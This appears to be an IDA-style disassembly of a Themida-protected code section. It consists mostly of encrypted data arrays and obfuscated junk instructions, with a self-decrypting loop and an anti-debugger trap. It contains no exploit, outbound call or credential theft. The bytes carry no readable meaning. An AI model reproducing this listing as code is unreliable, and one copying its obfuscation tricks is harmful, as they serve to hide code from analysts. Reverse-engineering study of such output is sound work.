dd 7ECA9F0h, 29B58960h, 8B07E407h, 0E4278D8Dh, 47896107h
dd 4585090Ch, 8B07E415h, 0ECA9F485h, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 6EC09D9h, 3C74251Ch
dd 3810Fh, 0B70F0000h, 27BE66F1h, 8478982h, 8870Fh, 890F0000h
dd 2, 0C7835A57h, 0FDB58928h, 0C707E41Ch, 6F632E07h, 0FE9606Eh
dd 0F000000h, 0AA2D61B6h, 0F05199ECh, 0C50CD5A8h, 0C76137A2h
dd 69660447h, 9D310067h, 7E41AC9h, 3F9F78BEh, 0EC858B22h
dd 0E907ECA9h, 10h, 0C60ADFDh, 4F11766h, 43ECF464h, 88E8058Ch
dd 8B0C4789h, 0ECA9E885h, 0FFBE6607h, 8478978h, 1B9D8D89h
dd 6A5807E4h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 15042444h, 42000000h, 4D4EC352h, 0A98D0960h, 6607E422h
dd 0D4E2DF81h, 6E961h, 2BF40000h, 9B0ED60Eh, 21A58D8Dh
dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 17C33EC3h, 6800F24h, 8B000000h, 0E4060DB5h
dd 198A0F07h, 0F000000h, 1380h, 0EE900h, 0E5720000h, 0C6D3DDC4h
dd 0F29BF47h, 2CE2133Fh, 14E950h, 0BA850000h, 24283B3Dh
dd 5C7405F0h, 97A2655Bh, 0E62CBBDAh, 0C890F65h, 9E824h
dd 0A84F0000h, 6EF801Ah, 8136E26Dh, 4D49BBF6h, 0B5FF5A4Fh
dd 7E426C1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 0CDC35242h, 89B9E280h, 0E41529BDh, 0ED306807h
dd 880F3CB2h, 8, 6660B560h, 61F1F6B8h, 30243481h, 8B3CB2FDh
dd 0E401F595h, 23DA8007h, 15DDB5FFh, 0D0FF07E4h, 989958Bh
dd 0B807E4h, 0E9000000h, 0Fh, 108923D2h, 63B0236Bh, 0A8AC643Ch
dd 0F7A57F1h, 88Ah, 0B58B5000h, 7E425A1h, 0FC00B5Ah, 5D84h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 0EC75106h, 5860Fh, 81660000h, 50CFDCD2h
dd 12E9h, 767E1400h, 31281E1Bh, 11A7459Dh, 29EAB36Dh, 5E2332CCh
dd 0DA1B5FFh, 850107E4h, 7E42145h, 1915950Bh, 95FF07E4h
dd 7E43061h, 0C08B64B2h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 15h, 3FC35242h, 0BD95899Dh, 8307E407h, 0E413F1BDh
dd 9750007h, 935BD83h, 740007E4h, 8B535019h, 42DB8C0h
dd 85890000h, 7E40EEDh, 0EA579D8Dh, 0D3FF07E6h, 0BD83585Bh
dd 7E40935h, 50177400h, 42DB853h, 85890000h, 7E40EEDh
dd 0E6F89D8Dh, 0D3FF07E6h, 11BE585Bh, 0F63EE1Ah, 686h
dd 0E9952B00h
dd 0E907E406h, 11h, 28E3C667h, 49DEA71Ch, 3DDC8C2Ch, 554D1FFDh
dd 8BC08B0Eh, 0E42A6195h, 8DC08B07h, 0ECB2BD8Dh, 56006A07h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 65194A15h, 9A8B2D48h, 0F5B58BB0h, 8B07E424h, 0E40AE1BDh
dd 718D8907h, 2B07E41Bh, 0E40D3595h, 0A185C707h, 2807E42Dh
dd 0F900005Ch, 22B985C7h, 7E4h, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0F7F5C1C3h
dd 29FD8F20h, 9D8960DDh, 7E42669h, 91B5FF61h, 107E422h
dd 0E41E4D8Dh, 6195FF07h, 6607E430h, 8B0608BBh, 0E40DC185h
dd 0FF006A07h, 0E40E4195h
; ---------------------------------------------------------------------------
loc_60D748: ; DATA XREF: Themida_:00583FFCo
; Themida_:005842D8o
pop es
mov eax, eax
jmp short loc_60D7BC
; ---------------------------------------------------------------------------
db 87h, 96h, 3Dh
; ---------------------------------------------------------------------------
jmp dword ptr [edi+220DFDCBh]
; ---------------------------------------------------------------------------
dw 8020h
dd 140F78B5h, 124D8AB0h, 0D3959886h, 6135DDDEh, 6FA28D72h
dd 83C1A11Bh, 0B123BAEBh, 0EFA66F77h, 3737B8CCh, 5CAC783Ch
dd 0FBD09F93h, 68A0988Bh, 4ED00CCAh, 894FFB04h, 4472EE84h
dd 1EC72C6h, 0FD8765EEh, 1B8D3591h, 0B0F8CE8Fh, 4B12306Eh
dd 5CBE75E9h, 0D8643805h, 52AB022Bh, 17F20A8Ch, 66A7F4DDh
; ---------------------------------------------------------------------------
loc_60D7BC: ; CODE XREF: Themida_:0060D74Bj
call near ptr loc_60D7C8+1
sbb byte ptr [esi-0EAF610Bh], 0EFh
loc_60D7C8: ; CODE XREF: Themida_:loc_60D7BCp
mov eax, ds:3810F60h
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
mov di, dx
movzx esi, dx
popa
pop ecx
or dx, 0C199h
add ecx, 6769h
or edi, [ebp+7E401D5h]
mov esi, 19B4h
mov eax, [ebp+7E43329h]
loc_60D7F4: ; CODE XREF: Themida_:0060D852j
push dword ptr [ecx]
mov edx, [ebp+7E42FD5h]
pop ebx
mov edx, ebx
sub ebx, 343A383Bh
sub ebx, 6847E9E3h
mov edi, [ebp+7E41E19h]
sub ebx, 45A4CDCFh
jmp loc_60D82E
; ---------------------------------------------------------------------------
dd 50994D9Bh, 0C7CF7BE2h, 0F3D7522Ch, 5B24E14Dh
db 0ADh, 3Eh
; ---------------------------------------------------------------------------
loc_60D82E: ; CODE XREF: Themida_:0060D817j
mov [ecx], ebx
jnz loc_60D839
mov di, si
loc_60D839: ; CODE XREF: Themida_:0060D830j
sub ecx, 66BE6F62h
mov edx, [ebp+7E41DE5h]
add ecx, 66BE6F5Eh
mov [ebp+7E425B5h], esi
dec esi
jnz loc_60D7F4
adc eax, 1861BE7Fh
jmp short $+2
jmp loc_60DC1F
; ---------------------------------------------------------------------------
db 30h, 58h, 36h
dd 93B38CA2h, 0F30DE9FFh, 566A495Fh, 0B5D1ACC2h, 0A9A24821h
dd 81EB2CEh, 667C102Eh, 0C8DE7288h, 8C3FD3EBh, 13985FDCh
dd 0F13613AEh, 5D7D5662h, 0BDD7B3C9h, 20341329h, 7F9B768Ch
dd 0ABFAD5EBh, 0E17CB4D0h, 28607855h, 8AA0348Dh, 0E04292B0h
dd 42A09C63h, 0C39E3A14h, 10EE4EA7h, 0A723E585h, 0DFB9DBEDh
dd 0DC56096Dh, 1C2EDD76h, 7A0E2402h, 0DB6F8764h, 6D876301h
dd 8F889A35h, 13A972DAh, 5C394254h, 5F3E0C44h, 0F7A9134Bh
dd 4E608059h, 0F1415534h, 0D84DE17Fh, 0F2392490h, 0B9046418h
dd 8DAFC116h, 203815B3h, 183B4DE8h, 6AE73777h, 144AC2C0h
dd 5BED258Eh, 0B791E4BDh, 6DC66199h, 6E8E6735h, 710A0315h
dd 0D61B92CCh, 3CDA81C5h, 7510485Eh, 0FF43DC15h, 3C4EEB50h
dd 8B809E61h, 0F237D0h, 56600000h, 14EB687Bh, 0C21442A0h
dd 5DC80059h, 0C6953BADh, 0B8FEB004h, 0A04BC8A6h, 2E14425Bh
dd 90375C5h, 9E7F08E4h, 0E9B77D8Fh, 86FCED0Ch, 19077BCFh
dd 39162CC0h, 5633D121h, 0ACDE4537h, 0BD165FBEh, 0BEDEB785h
dd 0B68D5365h, 885D5D9h, 13A604AAh, 283C1BB9h, 67A45BD8h
dd 0C93213A6h, 376FD8B7h, 82FDA980h, 0DAF98DA5h, 2CA9F9B5h
dd 14427C86h, 445837D5h, 0AFC1DDB8h, 612F67D0h, 0C0D66A86h
dd 0BA91C9E5h, 2587D7D7h, 0AF8E7CB3h, 0E984BCD0h, 4FA13D89h
dd 1C8F443Dh, 0E24B1B8Ah, 4E602F4Eh, 77F81FEh, 6CD51C6Eh
dd 6F8B6634h, 708F01DBh, 74EC8749h, 0F3CEE8FAh, 6F0D9FD7h
dd 41647696h, 910E5E50h, 3EE7AD6h, 626FF9Dh, 4E869C7Ah
dd 52C2A1B3h, 0DD516Ch, 0B515B0E8h, 267F4515h, 85A17C92h
dd 38B517F1h, 3EE6443h, 0BF94A60Fh, 1C6C424Dh, 0A6BE699Fh
dd 86BE2713h, 2FC3DBB8h, 96FB4D08h, 811F0F18h, 0B8538BA5h
dd 0BFD2ADA6h, 684513A6h, 0BF27DC59h, 9B7813A6h, 5FB04B83h
dd 2F099DF6h, 37552FCDh, 0A6BF37CCh, 283AA313h, 0E119310Eh
dd 0BCD4B14Fh, 9BB390AAh, 285C2563h, 0AC405835h, 77F22AD5h
dd 47ABD8h, 4DD40000h, 9F1C6C42h, 13A6B501h, 0BCD6B250h
dd 845DE984h, 7F912C64h, 49E737A0h, 34F3536Dh, 56501364h
dd 0D09E6476h, 0ED8BDBF3h, 0D3E7C60Fh, 1BA7427Ah, 53EE263Eh
dd 0D3451F41h, 8BE17342h, 693B4D68h, 0Fh, 16F492F8h, 0F5D4EE00h
dd 0FEDBA9E1h, 568152E6h, 1CCF6377h, 0A004EF6Ch, 2DCB1442h
dd 43223454h, 0F7D4A2DAh, 0FED9A7DFh, 0DCAAE2h, 647E5AE6h
dd 0E69E752Ch, 265E35AAh, 0A001F673h, 0B4921442h, 0BBE44D9Eh
dd 0A0E58E0Bh, 0CC6A1442h, 0E3C2D4F2h, 0A0710683h, 6DDD1442h
dd 0AF33DCh, 0AC055E30h, 0A918DF5Ch, 4DB61442h, 0AEC6A3B9h
dd 0A2C5811Ah, 14h, 53209231h, 51138C6Ah, 22FF192Bh, 2704D20Ah
dd 4D9C7B0Fh, 245C7E56h, 29617956h, 2F677D5Bh, 31698761h
dd 346C8863h, 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h
dd 60C168EEh, 8F540000h, 4812404h, 424h, 43336800h, 4890000h
dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 68243489h
dd 79E7h, 68241489h, 68D9715Ah, 4AD2F75Ah, 0DACAEA81h
dd 0D0898F39h, 4EC835Ah, 81242489h, 42404h, 685E0000h
dd 309Ch, 8F240489h, 34FF0846h, 0C4835E24h, 24048B04h
dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFF7C673h
dd 0F1CCD6CCh, 6C33A553h
db 0A6h, 5Eh, 0E4h
; ---------------------------------------------------------------------------
loc_60DC1F: ; CODE XREF: Themida_:0060D860j
mov eax, 7ECB706h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 61CFEC94h, 3BF5C5B0h, 2867430Ah, 7A18293Eh, 37DD0734h
dd 38E3D184h, 7A086E2Bh, 6315E43Eh, 42F6586Bh, 1F6FB61h
dd 1120F448h, 61DC9889h, 51BEEBDFh, 562D592Fh, 0E0FFF99h
dd 5966A6C2h, 158DC9F6h, 33A23E65h, 4DDF175Fh, 48DF2BDDh
dd 37997CCCh, 16299B86h, 0F1E2922h, 7B7E742Bh, 0D8E36ECh
dd 79435528h, 6DEC4EFFh, 5AAE6EB8h, 11811170h, 4DA0E87h
dd 79C28166h, 0D8F4806Dh, 2800Fh, 0F88A0000h, 68CEBF66h
dd 66F38B66h, 8BA56BBFh, 0FE9DFh, 53380000h, 0D39EB622h
dd 917F6E99h, 0C000CEC7h, 9E93Ch, 0B3610000h, 9FA3F2BEh
dd 0E94BD1E0h, 9, 3F46F8D4h, 0B06C45C0h, 80FA8A92h, 0AE96CE9h
dd 16000000h, 11A4E64Dh, 4F9EBACCh, 14810FF2h, 53000000h
dd 0CE8h, 0A7C0D100h, 0ECD4F8E2h, 898D8323h, 0B05E5F6Ah
dd 0F0BF0FD5h, 0FCB8B66h, 0B70FFFBFh, 0C860FCEh, 0F000000h
dd 68Ch, 800F00h, 0B1000000h, 0FB8B66BFh, 3810Fh, 8B660000h
dd 6890FCAh, 81000000h, 33A110DBh, 81576061h, 68BE8CAh
dd 7E95852h, 11000000h, 3ECFFC22h, 0F6140A7h, 0BF66C1BFh
dd 8CB7E147h, 7E8FCh, 37940000h, 0F1542DF3h, 73BA532Bh
dd 5F50714Dh, 44BE665Ah, 4F0DBA77h, 9E91B70h, 90000000h
dd 0B60BF8BFh, 1FF5F955h, 810F75B1h, 4, 0D038BA66h, 18B0Fh
dd 0FF50000h, 3FB1CEB7h, 842B31BAh, 850F13h, 0F000000h
dd 0DF81FAB7h, 39FD77DAh, 0FE8B60FCh, 0F1816661h, 0E860AE88h
dd 0Eh, 865CD10Bh, 9D3E0532h, 0CAFB617Ch, 0FA8A89DDh, 8166535Fh
dd 5E7619D3h, 14E961h, 3E6F0000h, 0D27B6747h, 3F409BAAh
dd 55CD3C9Ah, 74B18E8Eh, 0E380B728h, 0EE98Bh, 234E0000h
dd 175FA65h, 9F403BD5h, 0F947B0E7h, 8E9h, 0DFAE8000h, 2878487Ah
dd 5E9DBh, 0C44F0000h, 80E924FFh, 8B662CC2h, 6E9CBh, 29010000h
dd 8F9992A9h, 8B66DF8Bh, 870F60D3h, 2, 0B261EAB6h, 11810F7Bh
dd 0E9000000h, 0Ch, 0DB3D1A8Fh, 32353495h, 0B15D2D52h
dd 0EF41BA66h, 0FE8F5h, 10340000h, 191DB4ACh, 10E20F96h
dd 0EADF9E0Ah, 0FB8B669Dh, 13E959h, 9A4E0000h, 9AD28B65h
dd 0ACD2BDD1h, 0D5AAACFEh, 0BA326D16h, 0AE85384h, 40000000h
dd 4EC84789h, 870A0B2Ch, 13E958h, 0C68D0000h, 5BE1FAE9h
dd 0C889EB88h, 9335F770h, 0A5D607C6h, 0F5B5A18h, 0EDB8F2B7h
dd 0F479CC4h, 0FF9C8BFh, 1180h, 9E800h, 0C13B0000h, 66750115h
dd 0B408E5AEh, 9BBA5AEBh, 52104E89h, 14E8h, 0B6282D00h
dd 0F51B2304h, 2EDA9009h, 2BEBD2A2h, 0C2C2AD97h, 0EE851h
dd 0ECB20000h, 92221741h, 0CE757984h, 0A9862546h, 665E5F58h
dd 0BBB154B8h, 48C85ECAh, 8150FCF5h, 7C9E84E2h, 60F95859h
dd 11E9h, 23E0C100h, 944DAC57h, 0C8F215C8h, 0D2FC57B3h
dd 0D78B3AF5h, 0C9816661h, 0F603FA6h, 388h, 0DFBF0F00h
dd 251DBB66h, 0AE961h, 0F6D10000h, 0E06BAF6Ah, 5D83F32Dh
dd 85BB6056h, 0F44595Dh, 5961FEBFh, 890FC78Bh, 5, 7AE68166h
dd 3BBBBF20h, 0EAB80DCCh, 0BE5E796Dh, 1BD0950Ah, 0BE9h
dd 0DE495000h, 0CAB889FBh, 68DEE47Ch, 0AE8h, 4AEECC00h
dd 3AFBF184h, 0FB21CE5h, 38Ah, 0F38B6600h, 0BE95Fh, 987D0000h
dd 0C5BB79D2h, 0B46C8967h, 0D681665Dh, 8AF9C49Bh, 61B956CBh
dd 58603ECAh, 8C35C181h, 81660F17h, 0F8B44CE0h, 13E950h
dd 54EE0000h, 7B759478h, 0C95CA2C8h, 686906B3h, 960D29CDh
dd 8B665ADBh, 0D98B66F8h, 13E9FCh, 0AD8B0000h, 26D8F9EEh
dd 984CA1CCh, 0C7DD10ABh, 0C94F3B0Ah, 810F607Ch, 0
dd 0DE816660h, 616186EBh, 8B66FCF9h, 0B96660F0h, 61FC75DCh
dd 0EE860h, 627A0000h, 18B7DC3Eh, 16F3AAFAh, 891E8A63h
dd 66596160h, 0B8CAF081h, 3820F61h, 80000000h, 81667DD0h
dd 0E8918DF6h, 8, 0C4A39163h, 0A1E90F03h, 28A0Fh, 5A500000h
dd 0F3CF805Ah, 0AE8h, 1B6EBD00h, 0EF368256h, 60DEBC1Ch
dd 0C2815953h, 1EC3D9C5h, 0D1B95961h, 0F4F76A0h, 82h, 0AEE38000h
dd 14E9h, 53B45A00h, 2417C33Eh, 0B93D0081h, 0C3E248B4h
dd 9D2FE3DBh, 0AE9A3h, 51BB0000h, 2C64BC22h, 843AB859h
dd 0ACE28166h, 12E85Ch, 71530000h, 959EA0BEh, 0D1719CB9h
dd 0CB16CBCAh, 0A6F98412h, 0F59D0B1h, 0BEFCF3BFh, 50EC40B1h
dd 0C9B96650h, 8B605EE6h, 5CBA66FAh, 57606102h, 9E9h, 39FBAE00h
dd 0E2D20359h, 0E95FF975h, 6, 77337646h, 0E961D231h, 13h
dd 9A3DD322h, 48F0B132h, 135AAC4Eh, 9B96CD2Fh, 0F2411ACh
dd 0E860C1BFh, 13h, 9B6D89F6h, 0C638F79Dh, 6CEED62Eh, 0A13AAF93h
dd 66AC54B2h, 5AF1DEBEh, 0DF806061h, 0F88B66E2h, 0C681FC61h
dd 1F8A05B8h, 64E78166h, 0D18B66ABh, 7A3DB866h, 19860Fh
dd 840F0000h, 13h, 0EE9h, 25A9500h, 7C34D644h, 47D36C2Eh
dd 0BFE5E222h, 6D62F23h, 38E0Fh, 0E4800000h, 12E92Ch, 69B10000h
dd 0AA53E051h, 95BFA3D2h, 177D8FA0h, 2E6BED6Eh, 0FF90FB4h
dd 83h, 23F68100h, 0F83AEA62h, 0DE9h, 1D7E5D00h, 0D9D1FE6Bh
dd 8A46F25h, 8B6676DBh, 34E980DEh, 0D034E0BFh, 0BE6ABB01h
dd 0BE95155h, 79000000h, 0FE2EBE37h, 0AEB917BEh, 0BAFC99F6h
dd 2333244Ah, 880F5652h, 0
; ---------------------------------------------------------------------------
pop edx
pop eax
push ecx
jmp loc_60E229
; ---------------------------------------------------------------------------
dd 0E65B8723h
byte_60E228 db 0EAh ; CODE XREF: Themida_:0060E29Ej
; ---------------------------------------------------------------------------
loc_60E229: ; CODE XREF: Themida_:0060E21Fj
pop edx
mov bh, 3Ch
jmp loc_60E236
; ---------------------------------------------------------------------------
db 42h, 79h, 0CBh
; ---------------------------------------------------------------------------
fcomip st, st(1)
loc_60E236: ; CODE XREF: Themida_:0060E22Cj
push edx
mov ax, 0D9E4h
pop edi
clc
push edi
pop ecx
xor esi, 22962163h
jmp loc_60E252
; ---------------------------------------------------------------------------
dw 0F3FAh
dd 2F574C66h
db 0A1h, 0Dh
; ---------------------------------------------------------------------------
loc_60E252: ; CODE XREF: Themida_:0060E245j
jb loc_60E259
stc
loc_60E259: ; CODE XREF: Themida_:loc_60E252j
movsx edx, si
jo $+6
mov dh, 0D8h
jz loc_60E280
call near ptr loc_60E279+4
or al, 89h
stosd
push ebx
inc edi
mov ds:20F540B1h, al
loc_60E279: ; CODE XREF: Themida_:0060E26Ap
sbb eax, 5189A76Dh
pop edx
pop edx
loc_60E280: ; CODE XREF: Themida_:0060E264j
cmc
sub si, 25C0h
cmc
jmp loc_60E298
; ---------------------------------------------------------------------------
jnb short loc_60E29D
fsincos
add bl, [ebx+13h]
pop esi
dec edi
mov dl, 82h
cli
loc_60E298: ; CODE XREF: Themida_:0060E287j
call near ptr loc_60E2AD+2
loc_60E29D: ; CODE XREF: Themida_:0060E28Cj
dec ecx
loope near ptr byte_60E228
mov eax, ds:10E6B1B0h
mov fs, word ptr [ebx]
and eax, 0D0636451h
aas
loc_60E2AD: ; CODE XREF: Themida_:loc_60E298p
jmp far ptr 0E860h:5AD6B37Dh
; ---------------------------------------------------------------------------
dd 0Fh, 0EC51BDF6h, 2BAFAAEEh, 0CB71D67Bh, 665372D7h, 5EE7CDBFh
dd 0D18161F8h, 226BE35Fh, 94DBDE81h, 7E97EF7h, 8000000h
dd 930F4D09h, 27BB49C0h, 667D7135h, 81FB21BAh, 93B3D5E8h
dd 12E86025h, 90000000h, 2A5A6D0Eh, 4C92704h, 1A93C9FCh
dd 65E03379h, 8B5EF899h, 0BBFC61F8h, 5961B5EFh, 0EFC6D281h
dd 0D8801A5Ah, 0FDBA66D9h, 0D68B66EBh, 820F9EB3h, 2, 0FE9C28Bh
dd 7000000h, 0E43F8A8Ah, 9705A73h, 56195DC5h, 0BF66B420h
dd 0F60FD63h, 68Fh, 890F00h, 57000000h, 615E5A50h, 0E980D88Ah
dd 0F7C381B6h, 0F964E727h, 1512DF81h, 830F7B23h, 1, 66C18AFCh
dd 6D31EF81h, 6860Fh, 0F0810000h, 4ECA6579h, 0F7BF0F60h
dd 5E961h, 575C0000h, 0F9539BFh, 28Ch, 81C88B00h, 0AF0A31C1h
dd 0F870F40h, 0E9000000h, 0Ah, 8CA91BB7h, 0A15AAA0Bh, 0BF66A8D2h
dd 0D18A7472h, 0E7C9E781h, 47B139C5h, 0BB39B4F5h, 7E06CD6Dh
dd 0FF28B66h, 6660FFBFh, 0E281C38Bh, 22BD659Dh, 0DA816661h
dd 8166E79Ah, 665332C8h, 664DCCB9h, 1965EF81h, 0C75CB966h
dd 11E8h, 0E7B74100h, 0F4160A18h, 308F3DE6h, 2571688Dh
dd 8C0F6BB7h, 0
dd 820F605Ah, 2, 8A0FD18Bh, 2, 66616160h, 0DF8BD38Bh, 9827B866h
dd 8B66F88Bh, 6E8D7h, 9D210000h, 56892135h, 3870Fh, 0C9800000h
dd 0B70F5B2Eh, 8BE66F3h, 8D0F53E3h, 6, 5203D781h, 0E95851A4h
dd 0Ah, 50844BDFh, 0EAB91BE7h, 8C0F0517h, 0
dd 8B66BBB3h, 943ABBD3h, 81663AD8h, 66BED0C8h, 13E8FB8Bh
dd 0D000000h, 0DCE5FA75h, 17F36104h, 4A8DAA94h, 3F67CBE1h
dd 605678FBh, 0F585F61h, 40B6C6B7h, 8BD1C480h, 0FF98AF9h
dd 58Eh, 8B665200h, 0B70F5FC1h, 0C68B66DBh, 2BC29B9h, 0C6BE663Ch
dd 58BF662Fh, 0D38160EAh, 438E95A6h, 61FAB70Fh, 0FC9B70Fh
dd 87h, 0B5D38100h, 662E7553h, 0E9D036BAh, 0Dh, 0ED11271Ch
dd 0C35E3F64h, 7739C177h, 0C3BF0F67h, 81F58056h, 28D0F5Bh
dd 8B000000h, 0C3BF0FF1h, 0E9FE8B66h, 0Ch, 0F0622C37h
dd 0C7FF9D13h, 0FFA5479Ch, 9E9h, 0AE3C4D00h, 8AF5A263h
dd 81662210h, 66FB4BC0h, 0FBE89B8h, 0BF0FC8B7h, 0D18057F3h
dd 81665BABh, 0FA930D9h, 8166D2B7h, 0FD031D1h, 385h, 0FBBF0F00h
dd 74DDB866h, 4B03BA66h, 10E852h, 63340000h, 0AFFF75E0h
dd 6D4DA76h, 0B98AC34h, 830F0B16h, 0
; ---------------------------------------------------------------------------
pop ebx
pop eax
jmp loc_60E590
; ---------------------------------------------------------------------------
db 0C5h
dd 96E3B4AAh, 57DE0D61h
; ---------------------------------------------------------------------------
loc_60E590: ; CODE XREF: Themida_:0060E582j
or cx, 0CDFBh
sbb edx, 1801BAA2h
jle loc_60E5A7
xor edi, 17A14070h
loc_60E5A7: ; CODE XREF: Themida_:0060E59Bj
movzx edx, si
cld
mov ebx, edx
mov cx, di
mov cl, 4Dh
pusha
jmp loc_60E5C0
; ---------------------------------------------------------------------------
dd 7AC42C41h, 0F918CCCFh
; ---------------------------------------------------------------------------
loc_60E5C0: ; CODE XREF: Themida_:0060E5B3j
push ecx
sub cl, 8Dh
pop edi
popa
push esi
pop ecx
jmp loc_60E5D3
; ---------------------------------------------------------------------------
and ds:0FADAF46Ah, ebp
loc_60E5D3: ; CODE XREF: Themida_:0060E5C8j
adc ax, 4A8Ah
mov ebx, edx
add ecx, 748D228Dh
mov cx, 0F136h
mov eax, 18E45F32h
mov si, cx
call near ptr loc_60E5FE+1
xor esp, edi
db 64h
insb
shl dword ptr [eax-10FA92C5h], 0F5h
mov ch, 5Bh
loc_60E5FE: ; CODE XREF: Themida_:0060E5ECp
cmp al, 0Fh
mov bh, 0F7h
pop esi
mov edx, 66C06F55h
jmp loc_60E61F
; ---------------------------------------------------------------------------
db 30h, 1Bh, 0
dd 0F64651D7h, 3C150AC1h, 70992D56h
db 0BEh, 11h, 0C6h
; ---------------------------------------------------------------------------
loc_60E61F: ; CODE XREF: Themida_:0060E608j
add cx, 107Bh
jnb loc_60E62B
cld
loc_60E62B: ; CODE XREF: Themida_:0060E624j
movzx ebx, di
jmp loc_60E63C
; ---------------------------------------------------------------------------
db 91h
dd 8624C61Eh, 1A872C4Ah
; ---------------------------------------------------------------------------
loc_60E63C: ; CODE XREF: Themida_:0060E62Ej
jb loc_60E644
mov ah, 0BCh
loc_60E644: ; CODE XREF: Themida_:loc_60E63Cj
adc ebx, 759D7Dh
mov cl, ah
adc si, 292Ah
mov edi, 21CC5010h
mov ebx, ecx
and edx, 63901E8Ch
add dx, 0CCh
pusha
mov ah, dl
jle loc_60E672
and eax, 31732AA9h
loc_60E672: ; CODE XREF: Themida_:0060E666j
popa
push edx
pop ebx
add si, 0B1BFh
mov ah, bl
clc
jmp loc_60E68D
; ---------------------------------------------------------------------------
sar dword ptr [edx], 43h
retn 0B908h
; ---------------------------------------------------------------------------
dd 11F86549h
db 38h
; ---------------------------------------------------------------------------
loc_60E68D: ; CODE XREF: Themida_:0060E67Dj
or cx, 0FDD1h
and cx, 7EB0h
adc eax, 6192BF59h
call near ptr loc_60E6AD+1
das
loope near ptr loc_60E717+4
xor al, 0DCh
lds esi, [edx+69h]
fsub st, st
stc
loc_60E6AD: ; CODE XREF: Themida_:0060E69Dp
add cl, [edi]
xchg al, [edx]
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
mov ch, 7Bh
pop ebx
cmc
mov di, 0CE60h
pusha
jmp loc_60E6C8
; ---------------------------------------------------------------------------
dw 0FC13h
dd 0BC59B84Eh
; ---------------------------------------------------------------------------
loc_60E6C8: ; CODE XREF: Themida_:0060E6BDj
jmp loc_60E6D9
; ---------------------------------------------------------------------------
db 1Bh, 0F9h, 3
dd 0E96AE032h, 0C25D8436h
db 12h
; ---------------------------------------------------------------------------
loc_60E6D9: ; CODE XREF: Themida_:loc_60E6C8j
popa
pusha
mov esi, 2E04D51Eh
movzx ebx, bx
popa
cld
jp $+6
jle loc_60E6F7
sbb esi, 2E19C386h
loc_60E6F7: ; CODE XREF: Themida_:0060E6EBj
mov edi, 1EB6F77Bh
mov bx, dx
jmp loc_60E717
; ---------------------------------------------------------------------------
dd 0AB657A3Ah, 436DA10Fh, 0BFA7731Fh, 0D3B03349h
db 8Bh, 0D0h, 0B7h
; ---------------------------------------------------------------------------
loc_60E717: ; CODE XREF: Themida_:0060E6FFj
; Themida_:0060E6A3j
jz loc_60E732
jmp loc_60E732
; ---------------------------------------------------------------------------
mov eax, ds:2E923C71h
sub dl, [eax-58A0D08Bh]
imul ebx, [eax+69h], 1Ah
xchg eax, edi
loc_60E732: ; CODE XREF: Themida_:loc_60E717j
; Themida_:0060E71Dj
and edx, 46B938E9h
ja loc_60E751
jmp loc_60E751
; ---------------------------------------------------------------------------
cli
and [eax], esp
mov [edi-23h], esp
les edx, ds:58C2F396h
mov dh, 0F4h
loc_60E751: ; CODE XREF: Themida_:0060E738j
; Themida_:0060E73Ej
cld
jo loc_60E75A
mov ebx, esi
loc_60E75A: ; CODE XREF: Themida_:0060E752j
pusha
sub edx, 15C03E76h
mov bh, 0B8h
popa
push edi
jmp loc_60E77E
; ---------------------------------------------------------------------------
dw 0EE4Ch
; ---------------------------------------------------------------------------
retf 0D552h
; ---------------------------------------------------------------------------
db 4Eh
dd 9771CAB7h, 0E95D563h, 0B1408D98h
db 96h, 0B7h
; ---------------------------------------------------------------------------
loc_60E77E: ; CODE XREF: Themida_:0060E765j
pop ecx
pusha
cmc
call sub_60E79A
push eax
cwde
das
cmp [esi-24h], cl
daa
push ecx
jbe short near ptr loc_60E7B1+3
test byte ptr [edi+6Fh], 0F6h
test al, 0ABh
inc eax
das
xor ch, ch
; =============== S U B R O U T I N E =======================================
sub_60E79A proc near ; CODE XREF: Themida_:0060E781p
movsx edx, bx
pop eax
popa
jb loc_60E7A7
mov ah, 0Ah
loc_60E7A7: ; CODE XREF: sub_60E79A+5j
movsx edx, dx
mov bl, 0
call sub_60E7BE
loc_60E7B1: ; CODE XREF: Themida_:0060E78Ej
add eax, 0F38263Ch
aam 65h
inc ebp
mov edi, 0B193EE47h
sub_60E79A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60E7BE proc near ; CODE XREF: sub_60E79A+12p
jnz loc_60E7D2
jmp loc_60E7D2
; ---------------------------------------------------------------------------
db 0C6h, 52h, 99h
dd 2E95F5CFh
db 6Bh, 0B1h
; ---------------------------------------------------------------------------
loc_60E7D2: ; CODE XREF: sub_60E7BEj sub_60E7BE+6j
pop eax
or edx, 6315FAC9h
or al, 0A7h
movsx eax, cx
mov bl, ah
mov ebx, eax
mov cx, di
jge loc_60E7F2
and eax, 790256E0h
loc_60E7F2: ; CODE XREF: sub_60E7BE+28j
mov di, si
or dh, 27h
mov eax, 7016B9D6h
mov dx, 6F13h
xor dl, 73h
mov edx, 52EE0AD6h
mov esi, eax
mov di, bx
movzx edx, ax
clc
mov bl, ch
loc_60E814: ; CODE XREF: sub_60E7BE+7Dj
mov di, cx
pusha
sub dl, 28h
jmp loc_60E82B
; ---------------------------------------------------------------------------
xor [ebx], edx
int 3 ; Trap to Debugger
sbb al, 2Bh
setalc
mov eax, ds:0FA874C36h
loc_60E82B: ; CODE XREF: sub_60E7BE+5Dj
popa
movzx ebx, bx
jmp loc_60E847
; ---------------------------------------------------------------------------
fdiv dword ptr ds:9CF0A57Eh
push ds
jmp short loc_60E814
; ---------------------------------------------------------------------------
db 12h, 38h, 0DBh
dd 0E06846h
; ---------------------------------------------------------------------------
and dl, [ebp+0Dh]
